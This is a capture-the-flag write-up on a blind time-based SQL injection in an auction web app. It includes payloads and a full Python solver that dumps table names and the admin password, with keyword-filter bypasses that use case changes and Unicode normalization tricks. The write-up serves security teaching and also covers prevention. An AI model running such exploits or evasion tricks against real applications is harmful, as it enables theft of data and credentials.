Background

The challenge is about a web application that allows users to bid on a selection of items. The system is vulnerable to SQL injection [3] attacks, more precisely to the Blind Time-based [1] SQL Injection technique [2], which allows an attacker to infer the content of the database by observing the application's behavior without directly retrieving the data.
SQL injections are a type of attack in which SQL code is inserted into web forms, query strings, or HTTP headers that will be executed by the underlying DBMS. Such an attack occurs when tainted data is used to construct SQL queries without proper validation or sanitization.
Such tainted data derives from user input, which can be manipulated by an attacker to execute arbitrary SQL code [1].
This type of attack has severe consequences, such as:

- Data leakage: the attacker can retrieve sensitive information from the database, with consequent loss of Confidentiality.
- Data manipulation: the attacker can modify the content of the database, with loss of Integrity.
- Authentication bypass: the attacker can retrieve user credentials.
- Authorization bypass: the attacker can retrieve information that should not be accessible.
- Denial of Service: the attacker can execute queries that consume all the resources of the database.

To prevent SQL injections, it is essential to use parameterized queries (prepared statements), which separate the SQL code from the user input, thus preventing the injection of malicious code. Allow-listing input validation can also be used to prevent the injection of unwanted characters and / or words [4].

Vulnerability

The vulnerability is found in the `offer` parameter of the `POST` request to the `$URL/product/<prod-num>` endpoint, which would be used to bid on a specific item. If a simple `sleep(2)` function is inserted instead of the offer, the application delays the response by a certain amount of time, confirming the presence of a SQL injection vulnerability. The injection point is the same for both challenges, but the server-side validation is different.

Solution

In order to find the password of the admin user, first some table names have to be dumped. This can be done by sending a payload like the following:
`1 and (select sleep(<treshold>) from information_schema.tables where table_schema = DATABASE() And HEX(table_name) like <name>%)`
and the name of the table can be built through the responses of the server at each query.
In the first challenge, the server checks for all occurrences of SELECT, FROM, WHERE, AND and OR (even in lowercase). This check can be bypassed by just capitalizing only the first letter of each keyword (even inside other words like `passwOrd`). This will be called ε_1.
In the second challenge, this check is improved by lowering the case of the whole query before the filtering. A hint of the underlying code, though, shows that the server is firstly performing this check, then normalizing the query into `NFKD` form [5] since MySQL is not unicode-friendly.
To bypass the second version's sanitization, then, the solution is to replace the characters with alternative unicode versions of them that will then be normalized back into the their *normal* form. This

[1] The challenge is vulnerable to Boolean-based SQLi as well, but a time-based injection has been used for the solution

will be called ε_2 [2].

After dumping the `user` table name, the password can be obtained by sending a payload like the following: `1 and (select sleep(<treshold>) from user where username = 'admin' and hex(password) like '<password>%'`, properly encoded either through ε_1 or ε_2 based on the version.

The solution code is provided in Listing 1.

```python
# The code takes a few seconds to start because it needs to find unicode replacements for the characters for a fancy SQLi
import requests, string, binascii, time, unicodedata, random

def sth(input_string):
    encoded_bytes = input_string.encode('utf-8')
    hex_representation = binascii.hexlify(encoded_bytes).decode('utf-8')
    return hex_representation.upper()

encodings = {}
def find_encodings():
    for original_c in string.printable:
        for code in range(0, 0xFFFF + 1):
            char = chr(code)
            normalized = unicodedata.normalize('NFKC', char)

            if normalized == original_c and char != original_c:
                encodings[original_c] = encodings.get(original_c) + [char] if encodings.get(original_c) else [char]

def first_encode(input_string: str):
    encoded_string = input_string \
        .replace('or', 'Or').replace('OR', 'Or') \
        .replace('and', 'And').replace('AND', 'And') \
        .replace('select', 'Select').replace('SELECT', 'Select') \
        .replace('from', 'From').replace('FROM', 'From') \
        .replace('where', 'Where').replace('WHERE', 'Where')
    return encoded_string

def second_encode(input_string: str):
    input_string = input_string.lower()
    for c in input_string:
        char_replacements = encodings.get(c)
        if char_replacements:
            replacement = random.choice(char_replacements)
            input_string = input_string.replace(c, replacement)
    return input_string

def timing_attack(url, session, secret, treshold, template, encode):
    while True:
        found = False
        for c in string.printable:
            injection = template + f"{sth(secret + c)}" + encode("%')")

            start = time.time()
            _ = session.post(url + f'/product/11', data={'offer': injection})
            end = time.time()
            if end - start > treshold:
                secret += c
                found = True
                print(f'Found ({c}): {secret}')
                continue
            else:
```

[2] No example is provided since LaTeX does not support these characters. Run the code to see some of them.

```
                pass

        if not found:
            break

    return secret

def find_tables(url, session, treshold, encode):
    # should be string.printable but for the sake of the report we will use only the first 2 characters of the known tables
    for starting_char in 'pu':
        table_name = starting_char
        injection = encode(f"1 and (select sleep({treshold}) from information_schema.tables where table_schema = DATABASE() And HEX(table_name) like '")
        print(f'Injection: {injection}')
        found = timing_attack(url, session, table_name, treshold, injection, encode)
        print(f'Found table: {found}\n')

def find_password(url, session, treshold, encode):
    secret = ''
    injection = encode(f"1 and (select sleep({treshold}) from user where username = 'admin' and hex(password) like '")
    print(f'Injection: {injection}')
    password = timing_attack(url, session, secret, treshold, injection, encode)
    print(f'Found admin password: {password}\n')

# ======== Main ========
url = 'http://cyberchallenge.disi.unitn.it'

# find unicode replacements for all characters to bypass the second challenge's filter
find_encodings()

# ======== Auction 1 ========
s = requests.Session()
_ = s.post(url + f':{50050}' + '/login', data={'username': 'golim', 'password': 'password'})

# find tables (can use first challenge's encoding bypass)
find_tables(url + f':{50050}', s, treshold=2, encode=first_encode)
admin_pass = find_password(url + f':{50050}', s, treshold=2, encode=first_encode)

# ======== Auction 2 ========
s = requests.Session()
_ = s.post(url + f':{50055}' + '/login', data={'username': 'golim', 'password': 'password'})
admin_pass = find_password(url + f':{50055}', s, treshold=2, encode=second_encode)
```

Listing 1: Solution code

References

[1] MITRE. CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'). https://cwe.mitre.org/data/definitions/89.html.

[2] OWASP. Blind SQL Injection. https://owasp.org/www-community/attacks/Blind_SQL_Injection.

[3] OWASP. SQL Injection. https://owasp.org/www-community/attacks/SQL_Injection.

[4] OWASP. SQLi Prevention. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html.

[5] Unicode. Unicode. https://www.unicode.org/reports/tr15/.